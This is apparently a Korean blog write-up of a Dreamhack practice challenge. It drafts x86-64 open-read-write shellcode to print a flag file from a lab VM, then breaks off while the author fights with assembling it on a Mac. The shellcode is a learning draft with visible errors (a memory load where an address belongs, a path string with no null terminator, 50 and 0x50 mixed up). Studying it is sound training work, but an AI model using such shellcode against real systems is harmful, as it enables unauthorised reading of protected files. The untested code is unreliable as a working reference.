[pwn] shell_basic -상- (orw 쉘코드를 작성해보려고 노력해보자)
orw 쉘 코드는 open, read, write의 머릿글자를 딴 것으로, 파일을 열어(Open) 내용을 읽은 뒤(Read), 그 내용을 화면에 출력한다는(Write) 것을 의미한다. 쉘 권한을 획득하여 일반적인 권한으로는 접근하기 어려운 파일에 접근해 그 내용을 읽어오는 쉘 코드라고 생각하면 되겠다.
shell_basic에서 제공하는 코드는 사용자가 입력한 쉘코드를 입력받아 그대로 실행해주는 역할을 수행한다. 쉘 권한을 따내기 위한 작업은 필요하지 않고, 직접 적절한 쉘 코드를 짜서 vm 내에 존재하는 파일에 담긴 flag를 읽어보라는 의미가 되겟따. orw 쉘코드 작성 방법은 링크된 드림핵 강의를 참고하자. 어셈블리어를 처음부터 작성하는 것은 아직 많이 서툴테니 강의를 차근차근 따라가며 작성해보도록 하자.
아래는 일차적으로 작성한 코드이다.
; write assembly code to read from '/home/shell_basic/flag_name_is_loooooong'
; arg : rdi rsi rdx
; char buf[0x50];
; int fd = open(FILE_PATH, READ_ONLY, NULL)
; read(fd, buf, 0x50)
; write(1, buf, 0x50)
global _main
_main:
mov rax, 0x676E6F6F6F6F6F6F ; push 'oooooong'
push rax
mov rax, 0x6C5F73695F656D61 ; push 'ame_is_l'
push rax
mov rax, 0x6E5F67616C662F63 ; push 'c/flag_n'
push rax
mov rax, 0x697361625f6c6c65 ; push 'ell_basi'
push rax
mov rax, 0x68732f656d6f682f ; push '/home/sh'
push rax
mov rdi, rsp ; mov rdi to current stack pointer (FILE_PATH)
mov rsi, 0 ; READ_ONLY == 0
mov rdx, 0 ; NULL == 0
mov rax, 0x02 ; open syscall (== 2)
syscall ; end of calling open(FILE_PATH, READ_ONLY, NULL)
nop ; ret value(fd) saved at 'rax'
mov rdi, rax ; mov fd to 'rdi'
mov rsi, [rsp-0x50] ; set buf to 'rsi'
mov rdx, 0x50 ; set size to 'rdx'
mov rax, 0x00 ; read syscall (== 0)
syscall
mov rdi, 1 ; set stdout to 'rdi'
nop ; rsi already set @ read()
nop ; rdi already set @ read()
mov rax, 0x01 ; write syscall (== 1)
syscall
flag는 ' /home/shell_basic/flag_name_is_loooooong '에 들어있다. 파일 이름이 굉장히 긴데, 우리는 64 비트 vm에 맞춰 8바이트씩 쪼개 레지스터(일반적으로는 rax를 사용)에 리틀엔디안 방식으로 담은 다음 이를 스택으로 PUSH해준다. 함수의 파라미터를 넘겨줄 때에는 OS 별로 사용하는 레지스터가 조금씩 달라지는데, 간단히 정리해보면 다음과 같다.
[ LINUX ]
RDI, RSI, RDX, RCX, R8, R9, 7번째부터는 스택을 이용
[ WINDOWS ]
RCX, RDX, R8, R9, 5번째부터는 스택을 이용
우리는 리눅스 VM에서 테스트하므로 리눅스를 기준으로 작성하면 된다.
(마우스 오버레이로 man page 내용 바로 확인 가능)
우리는 READ_ONLY flag에 mode는 NULL로 실행할 것이기 때문에 RSI에는 0(RD_ONLY), RDX에는 0(NULL)을 넣어주면 된다. 추가로 sys_read를 호출하는 방법은 RAX에 0x02를 담고 SYSCALL operand를 호출하면 된다. 쥰내 킨 파일 경로는 이미 스택에 담아두었으니 RDI가 스택의 해당 위치를 가리키도록 만들어주면 된다.
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 0x02
syscall
nop
음.. 생각보다는 수월하게 작성되는 것 같다. 나머지 두 개 함수는 조금 더 빠르게 진행해보자.
read 함수에서는 (fd, buf, buf_size)를 넘겨주게 된다. fd의 경우에는 위의 open 함수에서 리턴값으로 주어지므로 rax 레지스터에 담긴 리턴값을 그대로 rdi에 넣어주고, rsi는 스택에 적당한 크기의 공간을 새로 만들어주면 되겠다. flag 길이가 얼마나 될지 모르니 적당히 50byte 정도로 잡아주었다. 스택에 새로 만들어준 50바이트 공간의 주소를 가리지도록 rsi 를 설정했다면, 버퍼의 크기인 50을 세번째 매개변수 담당 레지스터인 rdx에 넣어주도록 하자. 이제 모든 파라미터를 설정했으므로 sys_read를 부르는 0x00을 rax에 담고 SYSCALL operand를 호출하자.
mov rdi, rax
mov rsi, [rsp-0x50]
mov rdx, 0x50
mov rax, 0x00
syscall
write에서는 (fd, buf*, count)를 요구한다. fd의 경우 1이 stdout에 사전 지정되어있다는 점을 상기하자. 다시 말해 (1, buf, 50)를 넘겨주면 된다.
mov rdi, 1
mov rsi, [rsp - 50]
mov rdx, 0x50
mov rax, 0x01
syscall
다만, 바로 위에서 실행한 read 함수에서 이미 두 번째와 세 번째 매개변수에 동일한 변수를 넘겨주었기 때문에 굳이 동일한 값을 다시 넣어줄 필요는 없으므로 아래와 같이 생략해도 된다.
mov rdi, 1
nop
nop
mov rax, 0x01
syscall
이제 이걸 컴파일해서 기계어로 바꾸고 그걸 다시 바이트 코드로 변환해서 쉘코드의 형태로 vm애 전달해야 코드를 제대로 작성했는지 검증할 수 있다. 내 메인 노트북은 맥이다. 살려줘..
우선 드림핵 강의에서 사용한 방법인 C언어 파일에서 __asm__()을 이용해 오브젝트 파일로 컴파일하는 방식.
--> 단순한 mov 명령어라서 아무 문제 없는데 오류를 부와앜 뿜어내고 자꾸 주석까지 읽으려고 들어 사용이 불가능
얌전히 gcc를 이용하기로 했다.
gcc -c sh_code.asm -o code.o
오브젝트 파일을 바이너리 형태의 바이트 코드로 변환하려면 objcopy를 사용하라고 한다.'
objcopy --dump-section .text=code.bin code.o
> command objcopy not found.
brew 짝어봤는데 objcopy는 없고 objconv나 한 입 먹어보란다. 다시 말하지만 내 메인 노트북은 맥이다. 살려내ㅐㅐ